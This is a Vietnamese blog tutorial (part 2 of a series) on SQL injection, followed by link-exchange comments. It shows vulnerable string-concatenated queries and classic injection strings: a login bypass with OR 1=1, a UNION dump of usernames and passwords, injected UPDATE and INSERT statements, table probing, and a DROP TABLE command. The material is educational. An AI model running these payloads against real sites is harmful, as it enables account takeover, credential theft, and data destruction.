SQL Injection – Phần 2: Ngữ cảnh và mục đích đạt được khi tấn công

Premium WordPress Themes

Phần trước bạn đã hiểu qua các khái niệm cơ bản của SQL Injection. Ngoài ra bạn có thể xem thêm các bài viết cùng chủ đề trong blog để biết thêm về SQL Injection. Bài tiếp theo của loạt bài này, chúng ta cùng điểm qua một vài cách khai thác lỗi cơ bản.

a. Vượt qua kiểm tra đăng nhập:

Sau khi người dùng nhập username, password và click nút submit, username và password này sẽ được gửi đến ứng dụng và xử lý chúng. Một câu truy vấn SQL sẽ được tạo ra và lấy các hàng khớp với thông tin người dùng cung cấp. Người dùng lúc đó sẽ được chứng thực và chuyển đến trang yêu cầu.

Tuy nhiên, nếu không được kiểm tra kỹ sẽ dễ bị lỗi SQL injection. Ví dụ đoạn code sau đâu bị lỗi SQL injection:

string strQry = “SELECT Count(*) FROM Users WHERE Username=’” + txtUser.Text + “‘ AND Password =’” + txtPassword.Text + “‘”;

Nếu người dùng đăng nhập bình thường, ví dụ như trong hình, username là ‘Jason’ và password là ‘Springfield’. Khi đó ứng dụng sẽ thực hiện câu truy vấn: SELECT Count(*) FROM Users WHERE Username = ‘Jason’ AND Password = ‘Springfield’.

Tuy nhiên, nếu đăng nhập với username và Password như sau:

Lúc này, câu truy vấn sẽ được thực hiện như sau: SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1 — AND Password = ‘Springfield’. Chú ý rằng sau dấu – là comment. Nghĩa là câu truy vấn thật sự là SELECT Count(*) FROM Users WHERE Username = ‘Blah’ OR 1 = 1. Như vậy là người tấn công sẽ vượt qua phần kiểm tra đăng nhập.

b. Hiển thị bảng username và password

Các website thường có ô tìm kiếm để người dùng dễ dàng tìm dữ liệu. Tuy nhiên, nếu ô tìm kiếm này không được kiểm tra kỹ sẽ dễ tạo lỗ hổng để hacker tấn công.

Ví dụ đoạn code sau có lỗ hổng:

strSQL = “SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products”;

if (txtFilter.Text .Length > 1) {

      strSQL += “ WHERE ProductName LIKE ‘” + txt.Filter.Text + ‘”;}

Nếu giá trị của ô tìm kiếm được nhập vào là blah’ UNION Select 0, username, password 0 from users –. Câu lệnh truy vấn lúc đó là:

SELECT ProductID, ProductName, QuantityPerUnit, UnitPrice FROM Products WHERE ProductName LIKE ‘blah’ UNION SELECT 0, username, password 0 FROM USERS –

Toán tử UNION cho phép ghép kết quả 2 câu lệnh SELECT lại, với điều kiện 2 câu lệnh này phải có cùng số cột.

Kết quả: Username và password bị hiển thị ra.

c. Update table

Chuỗi tấn công:

blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;–

Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; UPDATE jb-customers SET jb-email = ‘info@juggyboy.com’ WHERE email =’jason@springfield.com;–

d. Thêm record

Chuỗi tấn công:

blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);–

Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; INSERT INTO jb-customers (‘jb-email’,’jb-passwd’,’jb-login_id’,’jb-last_name’) VALUES (‘jason@springfield.com’,’hello’,’jason’,’jason springfield’);–

e. Xác định tên bảng

Chuỗi tấn công:

blah’ AND 1 = (SELECT COUNT(*) FROM mytable); –

Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’ AND 1 = (SELECT COUNT(*) FROM mytable); –

f. Xóa bảng

Chuỗi tấn công:

blah’; DROP TABLE CreditCard; –

Câu lệnh SQL truy vấn lúc đó là:

SELECT jb-email, jb-passwd, ib-login_id, jb-last_name FROM members WHERE jb-email = ‘blah’; DROP TABLE CreditCard; –

  • KakA

    Mình muốn liên kết vs BloG bạn = cách đặt link lẫn nhau. Làm
    như vậy chính là hợp tác 2 bên cùng có lợi. Nếu bạn đồng ý, có thể qua bên mình
    theo LinK

    http://khongphaixoan.blogspot.com/p/trao-oi-link.html

    comments yêu cầu, mình sẽ add ngay trong 24h và hi vọng bạn
    cũng làm điều như thế. Thông tin 1 chút về BloG mình:

    Mô tả : Chia sẻ các vấn đề hay trong cuộc sống

    Url : http://khongphaixoan.blogspot.com

    Tên : Không Phải “Xoắn”

    Icon: http://khongphaixoan.blogspot.com/favicon.ico

    • dctuit

      Đồng ý thôi bạn, mình đã đưa link của bạn lên blog.

    • dctuit

      Mình thấy cái website của bạn khá hay. Tuy nhiên nội dung nên tập trung vào một chủ đề thôi. “Không Phải Xoắn” có nghĩa là không phải sợ cái gì. Nội dung nên nói về các kinh nghiệm trong cuộc sống như bí quyết làm đẹp, kinh nghiệm học thi…Domain khongphaixoan.com hiện tại vẫn chưa có người mua. Mình có thể hổ trợ cho bạn mua domain này và cấu hình trỏ về trang blogspot hiện tại của bạn. Cần thiết thì liên lạc lại nhé!